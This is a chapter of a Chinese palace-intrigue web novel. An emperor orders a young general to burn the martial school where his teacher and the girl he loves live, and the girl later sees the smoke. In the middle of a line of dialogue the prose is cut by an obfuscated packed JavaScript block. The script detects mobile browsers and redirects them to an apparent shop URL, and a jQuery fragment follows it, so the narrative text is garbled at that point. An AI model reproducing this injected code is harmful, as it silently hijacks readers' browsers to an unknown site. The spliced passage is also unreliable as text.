镜国皇宫。


    一位中年男子身着紫金锦袍，歪坐在紫檀鎏金的龙椅上，手里把玩着一串白玉制的佛珠。


    他眉目慵懒，气度却透着威严。


    “都查实了吗？”男子淡淡地开口。


    “禀陛下，卑职无能！但查实桑城的秋叶棠，确有窝藏余孽之嫌疑，应是庄国人的手笔。但是里边的江湖势力又盘根错节，许多细节不好查证。”大殿下跪着一个戎装男子，头叩在地上，极尽恭敬姿态。


    “养你们这群废物有何用，这么多年了才查到这么点东西。”男子的声音透着冷厉，“能确认是不是她么？”


    “之前抓住了他们埋藏的暗桩，用了好些手段，才拷问出来。经确认，秋叶棠就是庄国的一处细作窝点。至于那个丫头，我们核查了年岁，行迹，都能合上。总之不论真假，抓回来一验便知。”


    “若真是她，那她还真是命大，宫变那场大火居然都没烧死她。也罢，那就再烧一次。”王座上人轻描淡写地开口。


    “是！但是……但是属下还有一事要禀明。”底下的人犹豫着开口道。


    “有什么赶紧说。”镜帝不耐烦地皱起了眉。


    “秋叶棠的砚山先生，收了不少弟子，里边有李尚书的次子……还有……还有参边将军庆述之子庆沅沣。因为涉及朝臣，卑职不敢妄下定夺，还请陛下裁定。”


    “诛了吧！”镜帝不在意地摆了摆手。


    “回陛下，李尚书咱们好处理，只需随便寻个什么由头。但是这庆沅沣……去年边关那一战，他……他身上有军功，若随意处置了，恐怕有损陛下威名……且现下与庄国边境紧张，正是缺将的时候……”


    “庆沅沣？是那个唤作庆之的年轻小将吧，倒是有点本事。那就……”镜王直起身子，略略思索了下，整肃了神情开口道：“传令下去，庆沅沣退敌有功，封暨远将军，率兵剿灭秋叶棠余孽，最好是一把火烧了，若不能活捉，就不留活口。”


    “是，卑职领命。”


    “还有，让参边将军庆述一起去，你来做监军，若有异动，一并诛之。”


    镜帝平淡的眸光里闪烁着杀意，只一转身，又是一派慵懒淡漠模样。


    王令传至参边将军府时，天色已经全黑了。一层又一层的阴云笼罩在上空，压得人有些喘不过气。


    “父亲，一定是哪里出问题了！秋叶棠……怎么会……”庆之整个人犹如被抽光了神志，空洞着眼神看着庆述。


    “陛下说是，不是也必须要是！何况，你怎么知道是不是，他们既是查过，又下了这样的命令，必定是有证据的！你刚刚对传令的宦官说的那些话，就非常失仪。你现在是被封了大将军，你要谢恩！”庆述语气严厉。


    “不——蛮姜还在里面，师父也在里面，还有……不可以——不可以！”庆之脱口而出，他缓缓退至墙边，无力地跌坐在地上，眼眶一片血色。


    “儿啊！你还不明白吗？现在你说的那个叫蛮姜的姑娘，很有可能就是他们说的‘前朝余孽’啊！”庆述低叹一口气，“哎，若她还活着，确实也是这个年纪了。”


    “父亲，我不可以杀蛮姜，我那么喜欢她，我说过要保护她的……”庆之的眼泪从眼角止不住漫出，他跪在地上，匍匐着爬到庆述的面前抱住他的腿，“父亲，你帮帮我好不好，秋叶棠还有我师傅，还有我的师兄弟们，还有……我怎么可以——我怎么可以——不行的父亲，我不可以……”


    庆述揪住庆之的衣领将他拽起，“庆沅沣，你清醒一点！你是将门之后，祖祖辈辈都在拼死效忠你的国家，你现在的锦衣玉食是你先祖在沙场的血泪换来的。你从于君为人臣，必将以忠义事君。陛下为什么指你去你剿灭秋叶棠你想过吗？你今年还不满二十岁，少年封将，这是陛下给我们家的体面。”


    “你十二岁入秋叶棠跟砚山先生学剑，现下秋叶棠事态的严重性你还没有意识到吗？是敌国奸细作乱，企图利用前朝公主，祸乱我们的国家。现在陛下给足了面子，要你证明你和这件事没有丝毫关系，不光是你，还有我，我们整个庆家，你要证明我们和他们没有关系，所以你要亲手剿灭他们，你懂吗？”


    “可是他们，他们是我的师父，我的朋友，我的……我要用他们的血来洗干净自己，我做不到，我做不到……”庆之缓缓蹲下身，哭坐到地上。


    “李大人次子李昌齐在你之后进秋叶棠，只学了两年，今早就被查贪腐抄了家，现在一家几十口人押在刑部大牢，生死未卜。这是巧合吗？你念及你的恩师朋友，但你可曾想过你的家人？奶奶现在年纪大了，这些他受得住吗？”庆述跟着蹲下来，语重心长地对庆之说。


    李昌齐？！


    他的师弟，谢心遥的新婚丈夫……


    庆之麻木地坐在地上，甚至于忘了呼吸，良久惊觉，大口大口喘着气，喘得过激又呛住，钝钝地咳嗽起来。


    庆述站起身，准备往外走，“现在这件事还是秘密进行，一旦走漏风声，计划失败，我们的下场会和李大人一样，甚至更惨。”


    “今晚你休息一下，好好想想。三日之后就要动身，我希望到时候，你是军容整肃的少年将军，是杀伐果决的战场鬼神。在此之前，我会让人看住你，哪里都不许去。”


    “三日之后？三日之后……”庆之躺在地上，嘴里喃喃地念叨着，眼泪从眼角渗进发丝，流到地上。


    庆之此刻只觉得，命运就像是朝他奔涌倾泻而来的洪水，他还未来得及有任何反应，整个人便被这湍洪水裹挟着，扯进一个巨大的漩涡，不停得往无尽黑暗的深渊里拽。


    他无从招架，无法呼吸。


    *


    赵蛮姜今日的课总是上得心神不宁，孙先生讲的东西，她一点没听进去。直到下学，她才反应过来，仓皇地去收拾东西。


    “小蛮姜，今日是怎么了，看你有些心不在焉。”孙先生走上赵蛮姜跟前，温和地问。


    赵蛮姜忙摆摆手：“哦哦哦，没有没有，对不起老师，我之后注意。”


    “别是我这个老家伙讲的东西越发无趣，你都不爱听了。”孙先生自嘲地打着折扇。


    “哪里的话！孙先生可是这天下顶有学问的人，学生我天资愚笨，都没有学到您的一些皮毛，实在惭愧。”赵蛮姜嬉皮笑脸地去拉先生的衣袖，哄着孙先生。


    “小东西，你就顶会哄我开心！”孙先生也笑了起来，随即又收了折扇，怅然道：“这么些年，你小娃娃也长大了。这日后，也是要出师了……”


    赵蛮姜看着孙先生鬓边的白发似乎又添了好几缕，心下不免有些伤感，但还是强打了精神，“出师


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724139|181745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还有好久呢！再说了，我出师了也还住在秋叶棠呀，没事的时候，我就常来看您，继续跟您说话陪您解闷，可好？”


    “哈哈哈哈，好好好，别学阿决那个顽固的性子，请都请不过来。你快回去罢，莫要外头接你的人等急了。”孙先生爽朗地笑起来说道。


    “嗯，明日再见！”赵蛮姜调皮地眨了眨眼，往门外走去。


    赵蛮姜刚出书院门，就看到坐在马车上等着她的阮久青，背着要西沉的太阳冲她招手，整个人看着柔和得不像话。


    “阮姐姐！你怎的又来接我，说了你忙的话让西武场的人来就好。有等很久嘛，我刚多和先生说了两句话。”赵蛮姜小步跑上前，对着阮久青说道。


    “今日出外诊，结束后直接过来了，没有等很久，也就刚到。”阮久青笑着扶着她上马车。


    阮久青也知道赵蛮姜同西武场的弟子不相熟，这几日都想着法子过来接她。


    “我今日也坐在外边陪你说话，不进去坐了。”赵蛮姜并排着阮久青，在马车前坐下来。


    “依你。”阮久青温柔地应了她，轻抽了一下马，马车开始跑起来了。


    一路上他们如往日一般聊着天，果真同阮久青一起，路程也不觉着长了。


    不多时，已经快到秋叶棠了。


    “阮姐姐，这里怎么有这么多烟啊？”往秋叶棠方向走着，一股刺鼻的烟味越来越浓。


    “这个季节，不该是烧田埂啊，是什么着火了吗？”阮久青皱着眉思忖道。


    “越往前走越浓了！”赵蛮姜不知怎么，心底升起隐隐的不安。


    阮久青用力地拽了一下缰绳，神色凝重，“阿姜，情形不大对，我们先下车，慢慢往那边走看看。”


    “好！”赵蛮姜心里止不住地开始慌起来，她扶着阮久青的手下了马车，任由她牵着小心翼翼地往浓烟方向走去。


    “诶，你看那方旗子上写的‘庆’……”赵蛮姜话还没说完，被阮久青捂住了嘴。


    阮久青把赵蛮姜拖到一边，指了指秋叶棠的方向，“阿姜，你看。”


    此时已是日暮时分，夕阳把天空浸染得如血色一般，火红的云一层一层地铺开，显得无比凄美壮丽。


    而前方秋叶棠的位置，正向天空滚滚地冒着白色灰色的烟尘，直接遮蔽了那片上空的血色云层。


    赵蛮姜捂住嘴，努力不让自己惊叫出声，她的眼神充满了惊诧，呆呆地望着阮久青。


    “此地也不宜久留，我们先回马车那边。”阮久青紧紧握着赵蛮姜的手，拉着她往马车的方向跑。


    赵蛮姜感觉到牵着她的阮久青，手心一片冰凉，“阮姐姐，这是怎么了？怎么会变成这样？”


    “我今日一早就出外诊，结束后便直接过来接你了，我也不知道怎么会变成这样。”阮久青停了下来，双目赤红，里面压着湿意。


    她捧着赵蛮姜的脸，拥在怀里，“阿姜，我们先跑，这里太危险，等会在马车上，我跟你说我知道的。”


    “好！”赵蛮姜点了点头，主动拉起阮久青，没命地往前跑。


    她心里有好多好多的疑问与担忧。为什么秋叶棠会被烧？为什么会有军队在这里？里面的人怎么样了？她们现在要去哪里？


    所有的问题全部缠成一团，搅得她心慌意乱。